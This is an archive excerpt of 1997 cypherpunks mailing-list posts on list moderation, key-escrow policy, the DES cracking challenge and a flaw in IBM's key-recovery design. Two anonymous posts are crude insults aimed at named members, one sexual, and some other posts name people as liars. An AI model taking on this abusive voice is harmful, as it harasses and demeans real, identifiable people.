	John

PS: Can we talk about crypto too?  It's clear from the last few days
of press releases that the pro-GAK forces are again working to confuse
novices into thinking that two very different things are the same
thing.  Last time it was "public key infrastructure" and "key
recovery".  This time it's "strong crypto" and "56-bit DES".  What
should we do about this?  Educate the public?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 06:42:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
In-Reply-To: <199702041421.GAA27742@toad.com>
Message-ID: <32F74A94.5F8B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> I'm glad we're talking about some of the real issues here.
> I'm definitely bugged by the community's attitude toward my "censorship".

I'll bet you are.

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.

He'd really like to, but...

> You-all remind me of a passage from Booker T.
> Washington's book _Up From Slavery_, describing what happened on the
> night that news of the Emancipation Proclamation reached the South:

What we most remind him of are slaves.

> Most of the people on the list haven't bothered to face that freedom.

Which freedom is that?

> If you want to help organize what I'll call the `progressive crypto
> community', for lack of a better term, then please do.  Otherwise, in
> the immortal words of Lazarus Long, "PIPE DOWN!".

i.e., stop saying what I don't want to hear and start saying what I
do want to hear, after all, it's *my* list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Tue, 4 Feb 1997 04:21:06 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <8N3k2D1w165w@bwalk.dm.com>
Message-ID: <32F72A82.1C42@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
>> Adam Back wrote:
>> >
>> > Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
>> > an aside, it is ironic that John Gilmore was the guy who started the
>> > alt.* USENET hierarchy, specifically to facilitate freedom of speech).
>> >
>>
>> An interesting idea.
> 
>John Gilmore of EFF is a liar and a hypocrite who likes to claim credit for
>other people's accomplishments.  

  Well EFF itself is a lie--the were very well exposed by Wired Mag. a
while back as being nothing more than a corporate whore.  They represent
the interests of owners not consumers--the ACLU has been very open
in their critisism of the EFF in this regard.  A large corporation
waves some money in front of their noses and tells them to bend
over you can be sure they'll bend over.  Respectable free speech
advocates do not associate with EFF.

>He had nothing whatsoever to do with the creation of the alt.* Usenet 
>hierarchy. Gilmore is a liar and a censor.
> 

  Is Mr. Gilmore making this claim?

>On the other hand, creating an alt.cypherpunks sounds like a more robust
>idea than yet another mailing list.

  And you could merely post this mailing list publically in the
alt group of your choice--I find it interesting at times but not
worth responding to in general since freedom of expressiion is
not a given.

                            Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us>
Date: Tue, 4 Feb 1997 05:51:20 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, Go to Jail
Message-ID: <199702041350.IAA16896@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


in a message allegedly from:  Robert Hettinga <rah@shipwright.com>

this appeared...

>  A Maryland bill that would make it illegal to send "annoying"  or
>  "embarrassing" e-mail was introduced this week by Democratic General
>  Assembly member Samuel Rosenberg.
{snip}
> "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle

As a marylander, in particular, a baltimoron, I am both embarrassed
and annoyed that these legislative bozos have the unmitigated gall
to expend time and energy on pursuits such as these.  Perhaps they
feel that our state attorney general needs to earn his excessive
salary by attempting to defend this constitutionally indefensible
mental excrement.  Did the defeat of CDA not resonate? 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 4 Feb 1997 06:18:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More Hacking of the Mykotronx Site!
Message-ID: <1.5.4.32.19970204141231.006c9760@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


While this report may be true, I wonder if it's not a spoof or even
official disinformation to mislead about the details of Aaron's mission 
as well as what Rainbow and others are really peddling to
rabble-fearing paranoids.

This last sentence seems a bit too melodramatic even for a suck-up
crippled-chip manufacturer:

>The MYK-82, developed by Mykotronx and fabricated by VLSI Technology,
>Inc., is the first of a series of security products to be developed as
>part of an alliance with the NSA, targeting both Government and
>commercial citizen monitoring markets.

Granted that defense to LEA-market conversionists like to pornograph the 
godawful carnage their technology can wreak on disobedient civilians to 
arouse ex-military-to-LEA converted glands -- do they actually write SOF 
drool like this?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us>
Date: Tue, 4 Feb 1997 06:17:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Information Warfare
Message-ID: <199702041417.JAA22327@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


in a message allegedly from:  Peter Hendrickson <pdh@best.com>

> The cypherpunks list has been under "attack" for some time.
{snip}
> Some people have dismissed the idea that rogue governmental elements
> are behind some of our problems.
{snip}
> We know that "Information Warfare" is the big thing in the defense
> establishment right now.

Information Warfare Conference
sponsored by DPMA/AITP

Washington, DC, March 13-14, 1997
Crystal City Marriott
1999 Jefferson Davis Highway
Arlington, VA  22202

Presentations by:
Major General Michael V. Hayden, Commander, Air Intelligence Agency
Dr. C. Kenneth Allard, Competitive Strategies
Col. H. Stevens, Land Information Warfare Activity

- current service visions and planned program initiatives
- operational concepts for 'third-wave' warfare
- information warfare drivers for 21st century C4I architectures
- emerging technologies and systems for information warfare 
superiority: opportunities on the horizon

'information warfare targets and vulnerabilities', Maxim I. Kovel,
 TASC systems management group

'information warfare for deterrence', William H.J. Manthorpe, Jr.
Applied Physics Laboratory, Johns Hopkins

'adaptive techniques for counter-deception', James Llinas,
technical advisor, DOD JDL, Data Fusion group

'emerging threats come in all sizes and flavors', Eugene Schultz, SRI
consulting

"Information has been termed the 'fifth dimension' in the conduct of 
'third-wave' warfare, and promises to dramatically enhance the role 
of C4I as a force multiplier.  Joint and individual service doctrine 
is emerging for IW, ans is affecting the needs and requirements for 
diverse systems:  from space-based surveillance and communications 
systems to terrestrial image processing, visualization, and 
information fusion systems."

"This conference will provide a valuable forum where military and 
industry staff can interact with key decision-makers to achieve the 
most current possible understanding of Information Warfare concepts, 
initiatives, technologies and potential opportunities.  The Critical 
Questions to be addressed include:

- how is IW changing operational concepts?
- how can we defend the weak links in the planned 
information-intensive reconnaissance, strike, targeting architecture?
- what developments in enabling technologies are needed to support 
current Information Operations, Battlefield Visualization, and 
Information Exploitation initiatives?
-what can be done to develop defensive information technology 
capabilities?

            and last, but _c_e_r_t_a_i_n_l_y_ not least:

- how will we move forward to develop a true offensive IW capability

==============================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 09:21:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM's SecureWay Key Recovery technology
Message-ID: <v03101400af1d1d285770@[207.67.246.99]>
MIME-Version: 1.0
Content-Type: text/plain


>From <http://www.ibm.com/Security/html/prkeyrec.html>:

>At the RSA Conference, IBM announced the details of its highly
>anticipated SecureWay key recovery technology. IBM is developing this
>technology in response to market demands for exportable strong
>encryption required to advance the growth of global e-business.
>[ yada yada yada snipped ]

I attended this presentation. Basically, what they do is to add
two packets to the "channel setup process", one that depends only
on the coorespondents, the other that contains the information
about this particular session.

A problem with this, as I pointed out to the presenters, is
that the first packet can be trivially used for traffic analysis.
The eavesdropper may not be able to determine who is
cooresponding, but they can tell if it is the same people
as in a previous conversation.


>From <http://www.ibm.com/security/html/wp_keyrec2.html>
>In order to minimize the preparation overhead, the recovery information
>is prepared in two phases: one phase is independent of the particular
>session/archive key being prepared; the second phase is dependent on the
>particular key and session parameters. The first phase, which uses
>public-key encryption, can be shared across multiple invocations of key
>recovery preparation, thus reducing overhead. The public-key encryptions
>can be stored for repeated use.
>
As you can see, IBM suggests cacheing the contents of the
first packet, so that you don't have to recalculate it each
time. Imagine how easy traffic analysis would be if the
identification packets were identical instead of just related.



-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <ptrei@acm.org>
Date: Tue, 4 Feb 1997 06:32:28 -0800 (PST)
To: Steve Schear <cypherpunks@toad.com
Subject: Re: GAK/KR spin
Message-ID: <199702041432.GAA28075@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Mon, 3 Feb 1997 14:34:49 -0800
> From:          Steve Schear <azur@netcom.com>
> To:            cypherpunks@toad.com
> Subject:       GAK/KR spin

> Several months back there were discussions on the list regarding renaming
> the government's key escrow/recovery proposals (KRAP comes to mind).  I
> think we need something that's catchy and simple (perhaps already familiar)
> to understand for the semi-litterate citizen units.  I propose we encourage
> use of the terms "crippleware" or "crypto crippleware" when refering to the
> products limited to their weak crypto and/or key escrow/recovery.
> 
> --Steve

For some time, I have been using the term 'espionage-enabled 
software' to describe GAK'd products. Also, 'compromised 
software' - I want to make the point that 'key escrow/recovery' == 
insecure.'

Peter Trei
trei@process.com

PS: I have SW for working on the $10,000 DES challenge available.


 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Tue, 4 Feb 1997 09:41:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES keyspace
Message-ID: <3.0.32.19970204093946.006a5d88@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


Is anyone coordinating (formally or informally) which chunks of the
keyspace has been searched for the DES challenge?  Yes, I know all the
arguments about potential fraud and verification, but it would be nice to
have a Web site that informally listed what had been scanned so far
(verified or not).

Did I perhaps miss something and this is already out there?  URLs
appreciated if so.  If it doesn't exist, I'd be willing to host a site and
play coordinator...

Joel





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Vagner <jlv@sig.bsh.com>
Date: Tue, 4 Feb 1997 07:01:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702032241.OAA04539@toad.com>
Message-ID: <Pine.SGI.3.95.970204095448.15604D-100000@dev.sig.bsh.com>
MIME-Version: 1.0
Content-Type: text/plain



   >(And if Sandy wants comity and good cheer, let him either form
   >his own list or establish a filtered list just the way Blossom
   >and Arachelian did. Hijacking the list to reform it in his own
   >image is dirty pool.) 

Just something from another perspective: I've been on the list for
quite a long time, though I've never posted. I've been online for
over ten years, ran my share of mailing lists, and understand
majordomo quite well.

As far as I can tell, nobody has ever advertised or posted
instructions for joining Blossom's or Arachelian's lists. At one
time I gave a little bit of an effort to find them, to no avail.
They don't seem readily available on the search engines (again, as
of about 6 months ago).

I never did flat out post a request for the information, as it was
not that important for *me* to find it. I imagine that these
individuals might have limited resources for a list-too-large, but
is there really a reason this is request-only info?

---

  Jason Vagner <jlv@sig.bsh.com> Resist KRAP and GAK. Police States 
  Are Bad. "All that one can give is what is going to happen, which may 
  have little to do with a present that you can grasp." - Avital Ronell.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 10:20:22 -0800 (PST)
To: Peter Hendrickson <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <3.0.32.19970204102007.007019f8@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 11:36 PM 2/3/97 -0800, Peter Hendrickson wrote:
>What I have seen is a pretty complete elimination of the signal that
>was there.  Some might argue that this is "just" because Tim stopped
>posting.  But so what?  The result of moderation was the elimination
>of signal.

Nonsense. The signal had left long before the moderation began. The
steepest drop in signal (not S/N ratio) was between shortly before Perry
left and Vulis had completed his takeover. Signal is cause by signal
generators. Most top signal generators, other than Tim, had left because of
pollution caused by the likes of Vulis, aga, and his homophonic boyfriends.

Moderation has nothing to do with the loss of signal other than that signal
from Tim was lost. And while I appreciated Tim's essays, they were never
the sole source of signal on the list. Tim did not even provide the
majority of signal. "Best individual contributor", sure.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 4 Feb 1997 07:42:51 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: New X-Ray Imager
In-Reply-To: <199702040126.RAA08938@toad.com>
Message-ID: <199702041538.KAA16105@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



| A poll last week by the Los Angeles Times found that a majority of people --
| 58 percent -- said they would curtail some civil liberties if it would help
| thwart terrorism. Thirteen percent said it would depend on what rights were
| at stake. The poll didn't ask people to single out any rights.

	Its worth noting the 'if it would help thwart terrorism.'  The
'best,' most expensive anti-terrorism measures ever used in the US
were at the Summer Olympics.  The White House point man on encryption
admitted at last years CFP that Clipper and its derivatives would not
have prevented the Oklahoma city bombing.

	A question worth asking is do we want to apply evolutionary
pressure to terrorists?  I prefer hijacking to bombings wrt aircraft,
but the FAA disagrees.  I prefer having my car stolen without me in
it as well.  (I think John Gilmore asked that question, but I could be
wrong.)

Adam

-- 
Pet peeve of the day: Security companies whose protocols dare not
speak their name, because they don't have one. Guilty company of the
day is now V-One.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 10:55:31 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: New X-Ray Imager
Message-ID: <3.0.32.19970204105556.00704204@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
>
>| A poll last week by the Los Angeles Times found that a majority of
people --
>| 58 percent -- said they would curtail some civil liberties if it would help
>| thwart terrorism. Thirteen percent said it would depend on what rights were
>| at stake. The poll didn't ask people to single out any rights.
>
>	Its worth noting the 'if it would help thwart terrorism.' 

It is irrelevant if terrorism is indeed be thwarted. The public does not
require this to happen. All that matters is to generate the *perception* of
increased security, not to increase security itself.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Tue, 4 Feb 1997 13:30:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: e$
Message-ID: <199702042016.MAA09791@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May is so full of shit that some of 
it bursts out on this mailing list.

           o
       /\O/        O Timothy May
      0  \\    | 0-#
         //    |  / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 4 Feb 1997 09:39:48 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: AltaVista Tunnel
Message-ID: <3.0.1.32.19970204123842.0093d9e0@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


The Digital / Microsoft "Driving Force" tour is in our parking lot today
and I got the opportunity to have a look around.  One of the 'stations'
inside the truck is on intranets.  They were showing off a product called
"AltaVista Tunnel" which I assume is their PPTP product.  I say "I assume"
because the guy showing it off had absolutely no clue what he was talking
about.  He triumphantly exclaimed that the encryption was 128-bit, but when
I said "128-bit what?" he cowered and muttered that he didn't know and went
on with his little speech.  The rest of my crypto-specific questions met
with equal dark stares.  And these are the people setting industry standards...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Real programmers programs never work right the first time. But if you
throw them on the machine they can be patched into working in only a few
30-hours debugging sessions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Tue, 4 Feb 1997 09:51:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, go to jail
Message-ID: <970204112612_275827339@emout09.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Think they are trying to expand the harrassment laws to directly effect the E
world, but I would think the laws on harrassment would apply anyhow (provided
your in their domain, but then again thats true for all governments...)

---
How has the government interfered in your life today?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 4 Feb 1997 11:25:04 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: New X-Ray Imager
In-Reply-To: <3.0.32.19970204105556.00704204@192.100.81.136>
Message-ID: <199702041919.NAA08584@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote:
> At 10:38 AM 2/4/97 -0500, Adam Shostack wrote:
> >| A poll last week by the Los Angeles Times found that a majority of
> people --
> >| 58 percent -- said they would curtail some civil liberties if it would help
> >| thwart terrorism. Thirteen percent said it would depend on what rights were
> >| at stake. The poll didn't ask people to single out any rights.
> >
> >	Its worth noting the 'if it would help thwart terrorism.' 
> 
> It is irrelevant if terrorism is indeed be thwarted. The public does not
> require this to happen. All that matters is to generate the *perception* of
> increased security, not to increase security itself.

Let's remember though that perception of security applies not
only to passengers, but also to potential terrorists. If they *think*
that they would not be able to bring a bomb easily, they would be less
inclined to do so.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 4 Feb 1997 10:38:06 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks List)
Subject: Re: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
In-Reply-To: <199702041421.GAA27742@toad.com>
Message-ID: <199702041838.NAA30479@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm another long time list member.  I've posted before on a number of
occasions but not often.  And I was one of those who subscribed immediately
to the unedited list.  Anyway, herein my 2 cents.


John Gilmore writes:

> Tim May said:
> > I don't want Sandy Sandfort sitting in judgment on my
> > posts, deciding what the Cypherpunks--a group I co-founded for God's
> > sake!!!!--are to be allowed to read and what they may not.
> 
> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.

"Conclusively" this has shown only that most folks are willing to go
along with an experiment -- especially if it requires them to do 
exactly nothing.  The results of the moderation experiment itself
can't possibly be conclusive until the moderation has gone on for
much longer--a few months at least, possibly years.  Then, we'll see
how many people are willing to put up with the high volume over the
long term, even possibly in the absence of thoughtful essays from
long-time list members (like Tim) who have been driven away from the
list.

Even if it "survives" by that criteria, it may not survive in *my*
book.  There are only a handful of people whose posts make the
cypherpunks list worthwhile (IMO of course).  There're quite a few
others who contribute to the discussion but aren't themselves worth
the trouble (no offense intended to anyone; I would certainly count
myself in this group as well).

I don't deny that putting up with the noise on the list takes some
effort.  In fact, after years of surviving with only my 'd' key, I'd
finally been driven to install a procmail filter shortly before
moderation was announced.

Interestingly, since that point, it *has* become more difficult to
filter--but IMO that's because it's also gotten less interesting
(how do you know if you're filtering is successful?).  In fact,
lately I've begun to "filter" *all* of cypherpunks into an alternate
mailbox file, and find that I'm perfectly content to look at it only
every couple of days, and just pick and choose among the posts based
on author and subject.  I don't claim to be representative of the
average cypherpunk, but in my view, this is a bad sign--it indicates
a lack of compelling "content".  It might as well be a Usenet group--I
don't feel like a "member of the Cypherpunks list" anymore.  As the
list stands now, I would hardly even notice (or care) if I were no
longer subscribed.


> I'm definitely bugged by the community's attitude toward my
> "censorship".  Rather than being glad that someone, anyone, was doing
> something about the major problem on the list, 99% of the reaction was
> to create even more ill-considered, emotional flamage.  *I* didn't
> make the signal/noise get worse at that point -- *you-all* did.

Well, I did do something.  When the volume got too high for me to take
unassisted, I installed procmail to tailor the list to my own likings.
Many have been advocating it on the list for years.  I was just too 
lazy to do so until the pain of not having it finally got too high.

As for the signal to noise ratio, John hasn't made it worse, but he
hasn't made it much better either.  No offense is intended--John's 
posts were always at the top of my reputation list--but he posts so
infrequently that he falls into that "not worth subscribing for" group.


What was the problem with the list that finally required that somebody
"do something"?  Sure, the list was high volume.  And there were a
lot of flames and silly useless garbage.  But this is no different
than it has been for years.  And the Vulisgrams were no more (or less)
vicious or annoying than Detweiler's Medusa and S.Boxx rants from the
old days.

(The reason I personally could stand it [without procmail] back then
was that I wasn't on so many *other* mailing lists at the same time.)


> The experiment will be over in a few weeks.  Who's going to take over
> deciding how to run the list, and running it?

Can't we just forget any of this ever came up?  Drop the moderation, 
resubscribe the Vulis 'bot and go on as before.


> PS: Can we talk about crypto too? ...

Sorry, that would be off-topic; this list is only for discussions of
the cypherpunks moderation policy.  Maybe you could post something on
Perry's "cryptography" list though.  (:-)


-- Jeff




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Tue, 4 Feb 1997 14:10:28 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702042210.OAA22704@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Steve Boursey writes:
>   Well EFF itself is a lie--the were very well exposed by Wired Mag. a
> while back as being nothing more than a corporate whore.  They represent
> the interests of owners not consumers--the ACLU has been very open
> in their critisism of the EFF in this regard.  A large corporation
> waves some money in front of their noses and tells them to bend
> over you can be sure they'll bend over.  

It's not clear from where I sit that the EFF is intrinsically evil.  A
case can be argued for their initial good intentions followed by the
subsequent poisoning of this intent by people with lots of money. Of
course, -any- organization is as susceptable to infiltration as their
weakest member.

> Respectable free speech advocates do not associate with EFF.

If one is going to advocate free speech, I strongly suggest one
learns to deal with one's own greed and one's own need for power
first. 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           You possess only what will not be lost in a shipwreck.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 11:37:06 -0800 (PST)
To: gnu@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <01IF0RKNC5OW9AN1CU@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gnu@toad.com"  "John Gilmore"  4-FEB-1997 12:20:22.10

>Tim, the Cypherpunks have chosen to follow Sandy's lead for this
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

	You're making an invalid assumption... namely that people who
stayed on the moderated list are neccessarily wanting it to be the
main list. This isn't the case with me, for instance. I'd also point
out that some of us - including me - were taking the time to take a
look at what happened with the moderated list. On the one hand, it
did result in a decrease in the trash messages... on the other hand,
it also drove away 1+ good posters (TCMay for one).
	As I've said before, I might wind up going with Sandy's (or
some other) filtered list. But changing the name (effectively, to
cypherpunks-unedited) was a bad idea.

>I'm definitely bugged by the community's attitude toward my
>"censorship".  Rather than being glad that someone, anyone, was doing
>something about the major problem on the list, 99% of the reaction was
>to create even more ill-considered, emotional flamage.  *I* didn't
>make the signal/noise get worse at that point -- *you-all* did.

	I can see how you might ignore objections from those who
did make the signal/noise get worse... but from those who didn't?
_I_ tried to help you by letting you & Sandy know when something
was going wrong.

>Perhaps at that point I should have shut down the list, as Lucky is
>now suggesting.  "Asking the list what to do" was clearly not a useful
>option.  Sandy cared enough about the community to make some concrete
>suggestions to me about how to get the list back on track.  They
>involved a lot more work than the previous setup.  I told him if he
>was willing to do the work, we could try it.  As Dale suggests, I
>wasn't about to waste my time reading the whole list in real time and
>passing judgement on the postings.  Sandy was, for a month.

	I (and others, I believe) are gratified by y'all's attempts
to help. I just think that you went about it the wrong way.

>Start a mailing list on another site!  Move this list to somewhere!

[...]

>The experiment will be over in a few weeks.  Who's going to take over
>deciding how to run the list, and running it?

	Would you be willing to help in starting up a distributed
list? That would appear to solve at least some of the toad.com problems
(keeping it running 24 hours a day, 7 days a week) with which I am
sympathetic.

>If you want to help organize what I'll call the `progressive crypto
>community', for lack of a better term, then please do.  Otherwise, in
>the immortal words of Lazarus Long, "PIPE DOWN!".

	I'm willing to help the _libertarian_ crypto community, to the
limit allowed by my available resources (I'm a grad student). Organize?
I'm not so sure to what degree that's helping. Progressive? I'm not a
liberal. Slight but meaningful difference in terms.

>PS: Can we talk about crypto too?  It's clear from the last few days
>of press releases that the pro-GAK forces are again working to confuse
>novices into thinking that two very different things are the same
>thing.  Last time it was "public key infrastructure" and "key
>recovery".  This time it's "strong crypto" and "56-bit DES".  What
>should we do about this?  Educate the public?

	The public won't listen until 56-bit DES is broken; then,
they can be told that "somebody broke the cryptography used by
banks" and they might listen. In other words, what can be done
is supporting DES-breaking efforts (ideally, via the collection
of different possible keys and their indicators, as someone
had mentioned earlier - sorry, I'm a biologist, not a mathematician,
so I've forgotten the actual terms. It was something that would
essentially enable the near-instant breaking of _any_ DES code after
the competion of the project. My apologies if I've gotten mixed up
on this).
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Tue, 4 Feb 1997 11:28:01 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <32F6FD0C.5D98@gte.net>
Message-ID: <Pine.LNX.3.95L01at.970204141704.416A-100000@homebox>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 4 Feb 1997, Dale Thorn wrote:

> Scott V. McGuire wrote:
> 
> > (Even within the community, some people are more a part of
> > it than others, and nobody is more a part of it then Tim.)
> 
> Is this like saying "some of the pigs were more equal than the others"?
> 

No, in this case there is not even a pretense of equality.

- --------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@berserk.com>
Date: Tue, 4 Feb 1997 05:28:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP sourcecode books
Message-ID: <199702041327.OAA03778@asylum.berserk.com>
MIME-Version: 1.0
Content-Type: application/x-pgp-message

application/pgp-message


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dave.hodgins@westonia.com (DAVE HODGINS)
Date: Tue, 4 Feb 1997 11:35:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MY DEPARTURE, MODERA
In-Reply-To: <199702032259.OAA05072@toad.com>
Message-ID: <8D16367.0001051748.uuout@westonia.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

AB> My main complaints about the `filtering' service forced upon the list
AB> readership are that:
AB> 1. It was done to the main list!  If cypherpunks were left unchanged,
AB> and a `cypherpunks-edited' were created I wouldn't have a problem, it
AB> would be just another filtered list.  However there are already

  As a lurker (I've only sent 4 messages to the list in the last 3 years),
I agree completely with Adam Back's post.

  I'd also like to point out, that I rarely read all of the messages, and
tend to select which messages to read, based on the subject.  Because of
this, I missed the message announcing that the moderation had started, 
and that there was a new, unedited list.  I didn't realize the moderation
had started, until I noticed the lack of autobot insults, and then looked
at some of the messages from the moderation thread.

  I get the list via email, through a pcboard bbs, mixed in with all of
my personal email.  I wrote a program, to separate everything from the
list into separate folder.  Switching over to the unedited list, will
require a bit more for me, then just unsubscribe/subscribe.

  I'll wait and see if the moderation continues on the main list.  If it
does, I'll go through the bother of switching to the unedited list.

  Regards, Dave Hodgins.

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---
 þ RM 1.31 0820 þ Internet:Dave.Hodgins@Westonia.com Rime->1347 Fido 1:250/636




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Tue, 4 Feb 1997 13:33:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: [UPDATE] Making OCR'ed code transfer easier
Message-ID: <199702042133.OAA28030@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Deceased Vilus has such a small penis because the mohel who
circumcised him was trying to do the world a favor.

    _   /|
    `o_O'   Deceased Vilus
     ( )
      U






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Tue, 4 Feb 1997 15:58:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702041456.GAA28779@toad.com>
Message-ID: <l03010d03af1d7b43dd5c@[204.57.198.5]>
MIME-Version: 1.0
Content-Type: text/plain


>I'm glad we're talking about some of the real issues here.
>
>Tim May said:
>> I don't want Sandy Sandfort sitting in judgment on my
>> posts, deciding what the Cypherpunks--a group I co-founded for God's
>> sake!!!!--are to be allowed to read and what they may not.
>
